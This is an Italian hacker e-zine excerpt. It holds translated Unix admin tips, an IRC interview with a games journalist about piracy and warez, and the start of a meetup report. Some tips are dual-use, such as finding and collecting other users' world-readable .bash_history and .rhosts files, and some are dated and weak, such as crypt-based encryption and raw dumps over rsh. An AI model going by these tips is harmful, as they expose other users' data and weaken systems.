router con hostname N0bodY88-ooo# e che oggi vi portera' delle
traduzioni prese dalla mailing-list dei tips del sito www.ugu.com
il mitico sito degli Unix Guru Universe. Ogni merito per quanto
sto x dire va a loro e solo a loro xche' io non ho fatto altro che
divertirmi (?!?) a tradurre alcuni dei piu' bei (imo) trucchi apparsi sulla
ml ultimamente. Ricordo inoltre che x abbonarsi basta lasciare la
propria email nel sito e si ricevera' 1 trucco al giorno (fino a che
non ci si unsubscribera' ovviamente ;). Ecco quelli da me scelti
x essere portati ai posteri che mi scrutano e pensano " ma questo
e' pazzo... "

----------------------------------------------------------------------
TITOLI

()-< CREARSI DEI PROPRI GRUPPI DI ALIASES
()-< MONITORAGGIO DEGLI ACCESSO ROOT NEL FILE PASSWD
()-< VELOCI COLONNE CON AWK
()-< FAI IL BACKUP DEL KERNEL
()-< TRUCCHI X NEWBIES CON L'"RM"
()-< AVERE INTENZIONE DI FARE SHUTDOWN
()-< VEDERE IL PID DI UN PARTICOLARE PROCESSO
()-< LIMITARE LA GRANDEZZA DEL CORE
()-< USA DEI TUOI ALIAS!
()-< FTP ANONIMO NEL MODO PIGRO
()-< VULNERABILITA' UNIX
()-< FARE UNA PARTIZIONE DI SWAP AL VOLO
()-< USARE NFS3 MENTRE SI STA USANDO SOLO NFS2
()-< NASCONDERE QUEL FILE
()-< SOLO LE DIRECTORY
()-< UCCIDI UN UTENTE, COME LO INTENDE UNIX
()-< COLLEZIONARE FILE
()-< IL DUMP IN UN FILE
()-< TIENI GLI UTENTI FUORI CON IL NOLOGIN
()-< EDITARE UN FILE PERSO
()-< ESTRARRE DA UN FILE TAR CORROTTO
()-< COME CRIPTARE UN FILE ASCII

----------------------------------------------------------------------

CREARSI DEI PROPRI GRUPPI DI ALIASES

Se vuoi creare un alias per un gruppo di persone con interessi in
comune, sulla tua workstation (diciamo una workstation SUN),
allora includi la seguente linea alla fine del file /etc/aliases e
esegui il comando /bin/newaliases

unixtips: bhavin@foobar.com, atulk@foobar.com, virajpikle@mail.com

Adesso, un e-mail mandata ad alias_name@workstation_name.foobar.com
sara' rigirata agli indirizzi listati sopra nel file /etc/aliases.

In altre parole, se il nome della mia workstation e' "soorya", un
e-mail mandata a unixtips@soorya.foobar.com sara' rigirata a
bhavin@foobar.com,
atulk@foobar.com, and
virajpikle@mail.com

Questo tip e' stato segnalato da: bhavin@informix.com
----------------------------------------------------------------------

MONITORAGGIO DEGLI ACCESSO ROOT NEL FILE PASSWD

Uno dei piu' popolari metodi conosciuti x "bucare" una macchina
Unix e' l'inserire un uid con valore 0 nel file /etc/passwd che potrebbe
essere fatto in molti modi inculse backdoor per accessi futuri.

Lo script sottostante visualizza dei messaggi di pericolo se
sono state trovate alcune modifiche. Semplicemente metti lo script nel
crontab e eseguilo tanto spesso quanto vuoi.

------------------------------CUT HERE-----------------------------------------

for id in `awk 'FS=":" {if(($3 == 0 && $1 != "root" )) print $1}' /etc/passwd`
do
cat << the_end >/dev/console

+----------------------------------------------------------------
|
| `date "+Detacted On Date :%D Time :%r"`
| Break-in ALERT! Login ID `echo ${id}` has uid 0
|
+----------------------------------------------------------------

------------------------------CUT HERE----------------------------------------
----------------------------------------------------------------------

VELOCI COLONNE CON AWK

La maggior parte delle volte che usate awk da linea di
comando, tu fai semplicemente:

ps -ef | grep netscape | awk '{print $2}'

Per salvare scrivendo, usate questo script solamente quando
vorrete usare awk per stampare una o piu' colonne:

------------------- CUT HERE ---------------------------
#!/bin/ksh
# awkc - print out one or more columns

p=\$$( echo $1 | sed 's/,/,\$/g' )
shift
eval "awk '{ print $p }'" $*

# eof
------------------- CUT HERE ---------------------------

Adesso puoi fare cose come:
ps -ef | awkc 2,1
oppure
awkc 1,2,3 /var/adm/messages*

Questo tip e' stato segnalato da: kbeer@dbna.com
----------------------------------------------------------------------

FAI IL BACKUP DEL KERNEL

In qualsiasi modo sia chiamato il tuo kernel file:

/vmunix
/unix

fanne SEMPRE il backup su un altro fylesystem o partizione
che tanto non fa mai male!
----------------------------------------------------------------------

TRUCCHI X NEWBIES CON L'"rm"

I newbies devono stare attenti a che i loro file e le loro
directory siano chiamate *

-rw-r--r-- 1 root sys 0 Jul 30 21:54 *

-- oppure --

drw-r--r-- 1 root sys 0 Jul 30 21:54 *

Usate il seguente comando per cancellarlo:

# rm \*

E' una facile trappola in cui cadere. Tutti i vostri file
potrebbero essere cancellati, o magari il tuo intero SISTEMA.

Se non sei sicuro, fai una directory qualsiasi in /tmp.

# mkdir /tmp/foo

Muovi il file nella directory

# mv \* /tmp/foo

Poi cancella tranquillamente il file nella directory sicura.

# rm \*

Usa SEMPRE-sempre rm-i se c'e' qualke dubbio circa i file
che stanno per essere rimossi. Su tutti i miei account di
root io ho fatto l'alias, io uso ksh, rm = 'rm -i', che mi
dara' un ultima chance per non cancellare un file o un intero
gruppo di file.
----------------------------------------------------------------------

AVERE INTENZIONE DI FARE SHUTDOWN

Se l'hostname e' visualizzato come parte del prompt, sii sicuro
di eseguire uno dei seguenti comandi prima che un comando di
shutdown/reboot/halt sia eseguito.

# id
# uname -a
----------------------------------------------------------------------
VEDERE IL PID DI UN PARTICOLARE PROCESSO

C'e' un altro modo x andare a vedere il PID di un
particolare processo prima ancora di fare un pipe del
l'output di un ps col comando grep e cercandolo.
Solaris 2.x (e forse qualke altro SVR4s) puo'
usare il comando fuser(1). Semplicemente usate
il seguente comando da una Bourne Shell:

fuser /path/to/executable 2>/dev/null

Il comando fuser stampa su schermo il PID di tutti i
processi che al momento hanno aperto il file nominato,
e tutti i processi avranno i loro stessi segmenti di
testo degli eseguibili aperti.

Il comando fuser stampera' anche il PID di tutti i
processi che hanno un file o piu' file aperti in
lettura, oppure che stanno usando la directory nominata
come directory corrente. I PID sono stampati in standard
output. La formattazione e il nome dei file sono stampate
in standard error. Essa puo' anke prendere l'opzione -k
per mandare un segnale KILL a tutti i PID trovati.

Questo e' molto di piu' che fare un grep all'output del ps.
----------------------------------------------------------------------

LIMITARE LA GRANDEZZA DEL CORE

Tu puoi limitare la grandezza dei "core" file usando
ulimit e limit:

$ ulimit -c SIZE_IN_BLOCKS # under sh or ksh
$ limit coredumpsize SIZE_IN_KB # under csh or tcsh

$ limit # Display current settings

Per esempio :

% ulimit -c 10
% sleep 100 &
% kill -SEGV $!
% ls -l core
... 5120 ... core
% file core
core re: ... from 'sleep'
----------------------------------------------------------------------
USA DEI TUOI ALIAS!

Renditi la vita piu' facile senza ripetere ogni gg
un lungo e complesso comando ma digitandone uno corto
rendendoti la vita di amministratore piu' semplice!
I comandi alias possono essere messi negli script di
startup al momento del login, come il file .cshrc.

Uso: la sintassi e':
alias [new name] [command]

Esempio:

ls -al

Diventa:

alias ll 'ls -al'

-----------------------------------------------------

Esempio:

ps -ef | grep root

Esempio:

alias psg 'ps -ef | grep $1'

In seguito al prompt di shell digita:
% psg root

=====================================================
Alcuni aliases utili:

alias ll 'ls -al | more'
alias setvt 'set term=vt100'
alias setfoo 'setenv DISPLAY foo.foobar.com:0'
alias ^L clear
alias m more
alias ff 'find . -name \!* -print'
alias s source
alias dir ls -l
alias r rlogin
alias ftpfoo 'ftp foo.foobar.com'
----------------------------------------------------------------------
FTP ANONIMO NEL MODO PIGRO

Ci sono molti siti FTP la' fuori su internet.
Cosi' ogni volta, i comandi seguenti devono essere
immessi:

% ftp ftp.foobar.com

Dopodiche' deve essere digitato il nome:
anonymous

E infine la password (che tipicamente e' la tua mail):
...............

L'intero processo puo' essere ridotto a:

% ftpp ftp.foo.bar

Cosa e' "ftpp"? E' uno script di 2 righe.

Create un file chiamato ftpp.

Aggiungete le due linee seguenti:

echo "machine $1 login anonymous password my_email_address" > $HOME/.netrc
ftp $1


($HOME e' il path della vostra home directory)

Salvate il file e poi cambiate i permessi cosi':

chmod 755 ftpp
----------------------------------------------------------------------
VULNERABILITA' UNIX

Information provided by the Sans Institute: www.sans.org

Le 10 piu' comunti vulnerabilita' exploitabili di UNIX?

>Poor system administration practices
>Race conditions
>Reusable/poor passwords
>Flawed SUID programs (e.g., rdist, binmail)
>HTTP server and CGI
>application vulnerabilities
>Default "+" entries in the /etc/hosts.equiv file
>NFS/NIS vulverabilities
>sendmail program bugs
>Buffer overruns (e.g., gets(), syslog())
>SUID shell scripts
----------------------------------------------------------------------
FARE UNA PARTIZIONE DI SWAP AL VOLO

Dopo avere installato il tuo O.S., hai mai avuto bisogno di piu' swap?
Basta aggiungerlo.

Crea lo swap file:

# mkfile 100M /usr2/swap/swap_100Megs

Rendi lo swap attivo:

# swap -a /usr2/swap/swap_100Megs

Verfica che il tuo nuovo swap e' implementato:

# swap -l

Aggiungi una voce al file /etc/fstab o /etc/vfstab x renderlo
attivo ad ogni boot:

/usr2/swap/swapfile_100Megs swap swap pri=3 0 0

Alcuni sistemi non permettono di aggiungere lo swap
al volo ( =) ), per favore controllate le pagine man per
il vostro sistema in particolare.
Alcuni sistemi inoltre aggiungono lo swap in modo diverso,
quindi anke qui controllate le vostre pagine man.
----------------------------------------------------------------------
USARE NFS3 MENTRE SI STA USANDO SOLO NFS2

La maggior parte delle nuove versioni NFS adesso
sono NFS 3. Con molti sistemi che ancora usano NFS 2,
i nuovi sistemi vanno in timeout se un mount da e per
NFS 2 e' provato.

Il sistema NFS 3 eventualmente cadra' sul protocollo
NFS 2, ma x rendere la vita piu' facile e piu' veloce,
specialmente durante la fase di boot e la fase di mount
di questi tipi di filesystem, di seguito create i vostri
punti di mount aggiungendo l'entrata "nfs2" al vostro
file /etc/fstab o al file /etc/vfstab:

#=============================================================
# filesystem directory type options frequency pass
#=============================================================
foo:/usr3 /usr3 nfs2 rw,bg,hard,intr 0 0

Da un shell la linea dovrebbe essere questa:

# mount -t nfs2 foo:/usr3 /usr3
----------------------------------------------------------------------
NASCONDERE QUEL FILE

Qualke volta vuoi rendere un file veramente sicuro.

Per fare cio', cambiate i permessi in 000

# chmod 000 [file]

nessuno eccetto il root sara' capace di accedervi.
Mai il proprietario potra' cambiare i permessi e di
essere capace di farci nulla.

Comunque e' come una banidera rossa che dice...
"Sono un file importante!"

NOTA: NON FATE MAI QUESTO SUL FILE /etc/passwd!
----------------------------------------------------------------------
SOLO LE DIRECTORY

E' utile essere capaci di listare tutte le directories nella directory
corrente senza nessun file:

ls -l | grep "^d"

Fate l'alias aggiungendo questo nei vostri .login o nei vostri .profile
o nei vostri .cshrc nella vostra home directories:

alias dir 'ls -l | grep "^d"'
----------------------------------------------------------------------
UCCIDI UN UTENTE, COME LO INTENDE UNIX

Presupponendo che tutti abbiamo piu' di UN UTENTE...

Per killare tutti i processi associati con un particolare
utente semplicemente:

# kill -9 `ps -aef|grep jondoe |awk '{ print $2 }'`

Se vuoi essere un amministratore simpatico, diglielo prima.
----------------------------------------------------------------------
TIENI GLI UTENTI FUORI CON IL NOLOGIN

C'e' un modo x disabilitare ogni nuovo tentativo di login in
un sistema. Questo puo' accadere semplicement creando un file
chiamato /etc/nologin.

Esso puo' avere anke grandezza nulla o un messagio puo'
essere messo nel file informando lo stato del sistema.
Se un utente prova a fare il login da remoto, un
messaggio mostrera' il contenuto del file /etc/nologin,
e poi sconnettera' l'utente.

In ogni modo, le connessioni ftp non sono affette da questo,
se l0'ftpd sta girando.
----------------------------------------------------------------------
TROVA L'HOG

Trucco Caldo per I poliziotti del cyberspazio (Non lo siamo tutti?)

Se i vostri utenti mantengono occupato tutto lo spazio nelle loro home
directory, questo e' un modo per venire a sapere degli utenti trasgressori ;)

cd /home
du -ks *|sort -nr|pg

(NOTA: L'opzione "k" puo' non essere necessaria in sistemi non-posix.)
Questa stringa mostrera' tutte le grandezze delle directory in ordine, con
la piu' larga davanti. Adesso se vuoi pulire, in una di queste directory
esegui:

ls -ls|sort -nr|pg

Questo fara' la lista di tutti i file in ordine di grandezza. In questo modo
quando tu farai le tue compressione, spostamenti o rinominazioni, potrai
risparmiare un numero significante di spazio.

Questo trucco e' stato apportato da: uspncjpf@ibmmail.com
----------------------------------------------------------------------
COLLEZIONARE FILE

NOTA: A seconda di come il comando e' usato, un amministratore con
la root puo' abusare dei propri privilegi

Se ci sono file simili su un file system e tu speri di collezionare il
contenuto di questi file (possibilmente x ragioni di sicurezza) il
seguente comando cerchera' x tutto il sistema per un file dara' in
output i contenuti in un file x essere visto.

# find / -name .rhosts -perm -004 -print > rhosts 2>e &

Un altro uso che si e' dedotto e' che qualcuno puo' imparare cosa gli
altri utenti usano. Essi possono quindi pensare ad alcuni trucchi a cui
tu non hai mai pensato:

# find / -name .bash_history -perm -004 -print >o 2>e &
----------------------------------------------------------------------
IL DUMP IN UN FILE

Mai avuto il bisogno di fare il dump dei contenuti di una partzione
in un singolo file su una macchina remota. La macchina locale deve essere
nella lista degli host "certificati" della macchina remota x svolgere
questa operazione.

Usate il seguente comando:

# dump 0fb - 126 [filesystem] | rsh [remote machine] \
'(cd [destination dir];dd of=[destination file] os=126b)'

# dump 0fb - 126 /dev/root | rsh foo '(cd /usr2/tmp;dd of=root.dump os=126b)'
----------------------------------------------------------------------
EDITARE UN FILE PERSO

Dimenticato dove hai messo i tuoi files?

Piuttosto che specificare un pathname specifico usate invece il comando
di sostituzione

Invece di:

% vi /usr/local/bin/foo

Provate:

% vi `which foo`

NOTA: i file devono essere nel tuo path per trovarli.

Questo trucco e' stato apportato da: thockin@ais.net
----------------------------------------------------------------------
ESTRARRE DA UN FILE TAR CORROTTO

In molti casi se c'e' un file tar corrotto il seguente comando
puo' essere usato in una prova dell'estrazione dei file:

% cat [tar-filename] | tar -xvf -

NOTA: Lo "-" e' lo STDOUT
----------------------------------------------------------------------

COME CRIPTARE UN FILE ASCII

Un file ascii puo' essere facilmente criptato e decriptato.

Per criptare semplicemnte fate un pipe del STDOUT del file da criptare e
ridirigetelo in un nuovo file. Immettete una password quando vi sara'
chiesto "Immetti una chiave: "

$ cat foo | crypt > foo.e
Enter key:

Per decriptare semplicemnte fate un pipe del STDOUT del file criptato e
ridirigetelo in un nuovo file. Immettete una password quando vi sara'
chiesto "Immetti una chiave: "

$ cat foo.e | crypt > foo.new
Enter key:
----------------------------------------------------------------------

Un saluto a Fritz, Mayhem, Fake, Black Berry, |Cyrax|, Blinking, Harlok,
Dante, Jammina, Nick1, RigoR MorteM, Avatar, CDP, Blum,
Flamer, Ax1s, NikDH, Zio Mik, Spirit, Nhaima, Neuro e
Wurzel...anke se so che quasi nessuno di questi leggera'
questo art :PPP

E questo e' tutto x l'angolo del traduttore quindi un saluto dal vs
N0bodY88-ooo e una ciauz alla proxyma volta :-) Ciaaaaaaauzzzzzz

Per flame, spam, catene di santantonio, foto di mike bongiorno nudo in piscina
e quant'altro in generis mailate a webmaster@gdf.it o root@gdf.it o qualcosa
di simile... se invece volete dirmi solamente che non ho motivi x vivere e che
devo sacrificarmi e uccidermi xche' sulla terra siamo troppi, mailatemi a
root@nasa.gov. Per tutti gli altri motivi n0body88@freemail.it

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°ÛÛ°ÛÛ°°°°ÛÛ°ÛÛÛÛÛÛÛÛ°ÛÛÛÛÛ°ÛÛÛÛÛÛÛ°ÛÛ°°°°°°°ÛÛ°ÛÛ°ÛÛÛÛÛÛÛ°ÛÛÛÛÛÛÛÛ°ÛÛÛÛÛÛÛ°²
²°ÛÛ°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ²²²ÛÛ°°ÛÛ°°°°°ÛÛ°°ÛÛ°ÛÛ°°°°°°°°°ÛÛ°°°°ÛÛ°°°°°°²
²°ÛÛ°ÛÛ°ÛÛ°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛÛ°ÛÛÛÛÛÛÛ°°°ÛÛ°°°ÛÛ°°°ÛÛ°ÛÛÛÛÛÛÛ°°°°ÛÛ°°°°ÛÛÛÛÛ°°°²
²°ÛÛ°ÛÛ°°ÛÛÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°ÛÛ°°°°°°ÛÛ°ÛÛ°°°°ÛÛ°°°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°°°²
²°ÛÛ°ÛÛ°°°ÛÛÛ°°°°ÛÛ°°°°ÛÛÛÛÛ°ÛÛ°°ÛÛÛ°°°°°ÛÛÛ°°°°°ÛÛ°ÛÛÛÛÛÛÛ°°°°ÛÛ°°°°ÛÛÛÛÛÛÛ°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ INTERVISTA A UGO LAVIANO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Intervista a Ugo "Boba-Fett" Laviano...per riuscire un po' a capire cosa
ne pensano le riviste di giochi del nostro operato e per...eventualmente
avere qualke dritta sul software Linux :PPpp

e-mail: EGO@flashnet.it

Urlz utili: www.nextgame.it www.g-o-l.com

<DanteAlig> scus...
<DanteAlig> te scrivi per Zeta per caso ?
<DanteAlig> dovrei chiederti una cosa...plz
<Boba-Fett> dimmi
<DanteAlig> ti andrebbe...di rilasciare una mezza intervista per una e-zine ?
<Boba-Fett> stai scherzando?
<DanteAlig> no...assolutamente no
<DanteAlig> vorrei sapere
<DanteAlig> la tua opinione circa alcun cose
<Boba-Fett> boh si ma non capisco il perche' :)
<Boba-Fett> di che e-zine si tratta?
<DanteAlig> la nostra e-zine si occupa principalmente di sicurezza e + in
generale dell'undernet
<Boba-Fett> bene
<Alighieri> allora....se vuoi partiamo
<Boba-Fett> oka
<Alighieri> allora....ti interessi di sicurezza ?
<Boba-Fett> possiedo un infarinatura di base
<Alighieri> come hai incominciato a lavorare per Zeta ?
<Boba-Fett> prima scrivevo per una e-zine di videogiochi (ancora oggi se e'
per questo)
<DanteAlig> potrei sapere il nome ?
<Boba-Fett> Games On Line
<Boba-Fett> da li ho iniziato a conoscere un po' di gente e poi sono finito su
zeta... e altre riviste
<Boba-Fett> certo
<Boba-Fett> Games On Line
<Boba-Fett> che presto diventera' qualcosa di moltooooo piu' grande
<DanteAlig> benissimo...quanti anni hai ?
<Boba-Fett> 23
<DanteAlig> senti...vorrei sapere...ma secondo te...i vostri lettori che
opinione hanno dell'undernet...o cmq del movimento sottostante
la rete ? e ancora...in che modo secondo te possono essere
influenzati positivamente o negativamente dai giornali ?
<Boba-Fett> dipende
<Boba-Fett> ormai il target di questo tipo di riviste e' molto ampio
<Boba-Fett> la maggior parte dei nostri lettori compra sicuramente piu' di
una testata
<Boba-Fett> mi posso riferire al lettore che ci piacerebbe avere
<Boba-Fett> o al cosidetto zoccolo duro
<DanteAlig> benissimo
<DanteAlig> parlami di quello
<Boba-Fett> direi che lo stile della rivista prova sicuramente simpatia per
l'undernet
<Boba-Fett> spesso facciamo servizi su rom e emulatori o su server non
ufficiali
<Boba-Fett> che si possono ricondurre in parte all'undernet
<DanteAlig> cosa ne pensi tu personalmente del libero scambio di dati e di
informazioni sulla rete??
<Boba-Fett> sono favorevole ma naturalmente anche qui le cose credo vadano
prese con le pinze
<DanteAlig> benissimo...cioe'....
<DanteAlig> allora....credi che vi voglia cmq
<DanteAlig> una qual sorta di regolamentazione
<DanteAlig> anche se piccola sulla rete ?
<Boba-Fett> non sono a favore del pirataggio selvaggio
<Boba-Fett> no regolamentazione no
<DanteAlig> ^_^ ...vabbe'...cmq...buono il fatto che i magazine siano dalla
nostra :)
<DanteAlig> sai com'e'
<DanteAlig> parecchie volte...
<DanteAlig> si leggono sui giornali...
<DanteAlig> recensioni o lettere assurde
<DanteAlig> in cui ci si figura come dei mostri....
<DanteAlig> dei geni del computer messi al servizio del male :P
<Boba-Fett> il problema e' che e' un'ambiente sfruttatissimo
<DanteAlig> in che senso ?
<Boba-Fett> nel senso che viene spesso sfruttato malamente
<Boba-Fett> voi fate una cosa gratis, ed un pirata poi ci lucra sopra
<Boba-Fett> le crack dei Vg per esempio
<DanteAlig> lo so......
<DanteAlig> in effetti
<DanteAlig> lo scopo del vero "cracker"
<Boba-Fett> inizia a esserci un mercato della pirateria gestito seriamente
dalla mala oramai
<DanteAlig> non e' quello di copiare il gioco...
<DanteAlig> ma quello di abbattere
<DanteAlig> lo schema di protezione :)
<Boba-Fett> appunto
<Boba-Fett> ma a questo si riduce in ambito pratico
<DanteAlig> brutta cosa :(
<Boba-Fett> del ragazzino che ha 200 giochi per pc delle idee degli hacker
sul libero scambio non gliene fotte una mazza
<Boba-Fett> vuole solo tutti i giochi
<DanteAlig> hai ragione :(
<DanteAlig> purtroppo e' cosi'
<Boba-Fett> e la cosa peggiore e' che adesso il mercato della pirateria inizia
a essere gestito dalla mala organizzata
<DanteAlig> Azz
<Boba-Fett> scarica le crack copia i giochi e li fa vendere a prezzo fisso ai
dipendenti (extracomunitari in genere)
<DanteAlig> dici le bancarelle con i soft per PSX ?
<Boba-Fett> certo
<DanteAlig> ma purtroppo...
<DanteAlig> il prezzo e' 10 volte minore...
<Boba-Fett> si ma il punto e' un altro
<Boba-Fett> il guadagno e' comunque 6 volte superiore
<Boba-Fett> e sti soldi vanno alla mala non alle software house
<DanteAlig> non si dovrebbe...ma e' inevitabile...in fondo...come qualita'...
siamo li'
<Boba-Fett> lo so
<Boba-Fett> il guadagno e' comunque 6 volte superiore
<Boba-Fett> e sti soldi vanno alla mala non alle software house
<Boba-Fett> un cd da 10.000 alla mala costera' al massimo 1.400
<Boba-Fett> comprano i cd vergini in mega stok
<Boba-Fett> fotocopietta a colori da due lire e via
<Boba-Fett> come avrai notato spesso le copertine tra le varie bancarelle
sono uguali
<Boba-Fett> perche' si riforniscono da un'unica fonte
<Boba-Fett> questo fa si che entrino 8.000 a gioco in tasca alla mala
organizzata e 0 alle software house, il che e' sicuramente peggio....
<DanteAlig> e dei siti Warez che ne pensi ?
<Boba-Fett> che sono comodi :)
<DanteAlig> ^_^
<Boba-Fett> trovo sia intrigante la ricerca e comunque il lavoro che sta
dietro ai siti warez
<Boba-Fett> la sfida nel crackare i programmi
<DanteAlig> quindi il mondo del cracking ti affascina.....non ti sei mai
accostato ad esso ?
<Boba-Fett> direttamente no
<Boba-Fett> mi intriga la possibilita' che i meno facolotsi possano usufrire
di prodotti altrimenti fuori portata
<Boba-Fett> ed e' comunque chiaro che molti dei talenti, per fare un esempio,
nella grafica 3d sono esplosi grazie alla possibilita' di usare
software pirata altrimenti fuori dalla loro portata
<DanteAlig> Dimmi un po'... cosa nei pensi dei prezzi del software in
commercio ?
<Boba-Fett> trovo sia chiaramente esagerato
<Boba-Fett> ma al tempo stesso credo sia un serpente che si mangia la coda
<DanteAlig> eh si'
<Boba-Fett> il fenomeno del software playstation ne e' un caso lampante
<DanteAlig> e di Linux cosa ne pensi ?
<DanteAlig> riuscira' a contrastare
<DanteAlig> il monopolio di "Caronte" Gates ?
<Boba-Fett> dubito e me ne dispiaccio
<Boba-Fett> credo che la sua nicchia tra i professionisti riuscira' comunque
ad averlo
<DanteAlig> tu che sei sicuramente molto + informato....
<DanteAlig> sul software...
<DanteAlig> che uscira' presto....
<Boba-Fett> non e' detto... :)
<DanteAlig> dicci un po'.....qualcosa per Linux ?
<DanteAlig> giochi ?
<DanteAlig> programmi ???
<Boba-Fett> si' qualcosa si muove
<Boba-Fett> e la nuova versione di games On Line si occupera' anche di questo
sistema
<DanteAlig> :)))
<Boba-Fett> ma anche qui la situazione e' in stallo
<DanteAlig> :(((
<DanteAlig> non ci puoi anticipare niente ?
<DanteAlig> come mai in stallo ?
<Boba-Fett> se gli utenti sono pochi le software house non programmano
<Boba-Fett> se non ci sono prodotti specifici gli utenti non si avvicinano
<DanteAlig> eh si'....e' una catena
<Boba-Fett> credo che l'utenza Linux sia comunque composta solo da gente con
un'alta cultura informatica
<DanteAlig> capito...quindi...la scena si sposta verso linux...anche se e'
ancora in stallo
<DanteAlig> o meglio...+ che si sposta...
<DanteAlig> ci si accosta :)
<DanteAlig> (finalmente direi)
<Boba-Fett> si', la sfiora

  
delicatamente
<Alighieri> che ne pensi delle tariffe telecom e degli abbonamenti gratuiti ?
<Alighieri> tipo...tiscali e libero..
<Alighieri> e robe varie ?
<Boba-Fett> dio maiale
<Boba-Fett> gli abbonamenti gratuiti sono comodi ma bisogna vedere come e
quanto resisteranno e con quali controindicazioni (spam
pubblicita' etc et.)
<Alighieri> tariffe telecom ?
<Boba-Fett> le tariffe telecom sono un latrocinio e basta
<Alighieri> ecco :)
<Alighieri> vabbe'.....l'intera redazione di NewBies ti ringrazia....
<Alighieri> te salutamo ^_^...ciao bello !
<Boba-Fett> di nulla ;)
<Boba-Fett> ciappete ciape!
<Alighieri> ultima cosa....l'urlo della tua rivista ???
<Boba-Fett> ti lascio l'url in anteprima mondiale
<Boba-Fett> se vuoi dagli uno sguardo
<Alighieri> Azz :=)
<Boba-Fett> www.nextgame.it
<Boba-Fett> e' il sito nuovo
<Boba-Fett> quello vecchio non viene aggiornato da 15 giorno (prima tutti i
giorni)
<Boba-Fett> www.g-o-l.com
<Boba-Fett> oki
<Boba-Fett> cia cia
<Alighieri> Tnx...bye!

NOTA DI N0bodY88 : raga a nome di tutti voi che leggete ringrazio il mitico
Dantuzzo x questa intervista (anke se sinceramente adesso
so geloso di lui :P) in piu' il bastard (amorevolmente si
intende) si e' anke imparato bene l'asm e io nun ce so
ancora se non x reversa o capi qualke crackme e qualke
prog col valido supporto di nedda!

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ MEET DA SBALLO IN QUEL DI MI... ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

TITOLO: RESOCONTO DI UN MEET
SOTTOTITOLO: COME CI DISTRUGGIAMO QUANDO SIAMO INSIEME
SOTTOSOTTOTITOLO: COME TRASFORMARE UNA CASA IN UN PARADISO
SOTTOSOTTOSOTTOTITOLO: COME SUPERARE TUTTO CI• SENZA AVERE NESSUN SEGNO
SOTTOSOTTOSOTTOSOTTOTITOLO: NONEX AVEVA RAGIONE PORCA PUPAZZOLA!!!

LIBRI IN NS POSSESSO AL MEET: MKLinux
Linux Massima Sicurezza
Architetture di instradamento di internet
Progettare una rete sicura
Lo Hobbit (smav ha tentato di leggerlo...mah..) )
num 5 topolini
Tv Sorrisi & Canzoni Play
Applicando
Codici Computer
Come hai osato leggere la mia email (n0bo ha
tentato di leggerlo...mah...)

GG PERSI A TENTAR DI CONFIGURARE IL ROUTER 771 DI V56: 2 + 1 esaurimento di
Asynchro + 4 bestemmie
di L0rdo

ps: abbiamo staccato l0rdo che sbavava schiuma bianca quando ha
digitato 2 volte di fila ls sulla console del 761 chiedendosi
xche' non andava...hihihi

INTRALLAZZI TRA I COMPONENTI DEL MEET: nessuno o almeno con me :((( by n0bo

ORE PASSATE IN CHAT IN + D4 PERSONE: in media 13 al gg

POSTI IN CUI SI E' DORMITO: letto di adry&v56, letto di smav, letto di sharra,
altro letto di smav, divano di casa HDE, tavolo
cucina, pavimento del pogiolo, 2 sdraio sul
pogiolo, due sedie vicine, moquette (commento di
asynchro "E' comoda!!") e molto altro =)

NUM MAX DI PERSONE NEL LETTO DI SMAV CONTEMPORANEAMENTE: 7 ma non vi dico chi
:PPPPPPPPPPPPPPPPPPP

LE FOTO DEL MEET LE TROVATE A: www.vipiacerebbesaperlo.it :PPPP

PERSONE BASTARD INSIDE CHE SONO VENUTE: noneX, Adryana, smav, Sharra, V56,
A-SyNcHr0, Krige, koMA, N0bodY88-ooo,
L0rdo, MaDDa.

PERSONE BASTARD INSIDE CHE NON SONO VENUTE: Spirit, Dante, Devilnet, p0nic0,
Vecna.

SPECIAL THANKS GOTO: RaStOn3 (che nessuno conosce ma e' un mito!), smav x ovvi
motivi, smav xche' va tutto minuscolo e me la mena, noneX
xche' e' b.i. ad avere sempre ragione, spirit idem,
l'istinto sessuale di M4n|4c666 che finalmente si e'
risvegliato, spirit che se la prossima volta tira il pacco
ci trasferiamo tutti a casa sua :PPP

1øGIORNO (SABATO 15\04\2K): Io (N0bodY88-ooo) arrivo a casa della famiglia HDE
(ovvero Hacker D'Elite) con l'aiuto fisico e menta
le dell'amico Yago. I ns due protagonisti iniziali
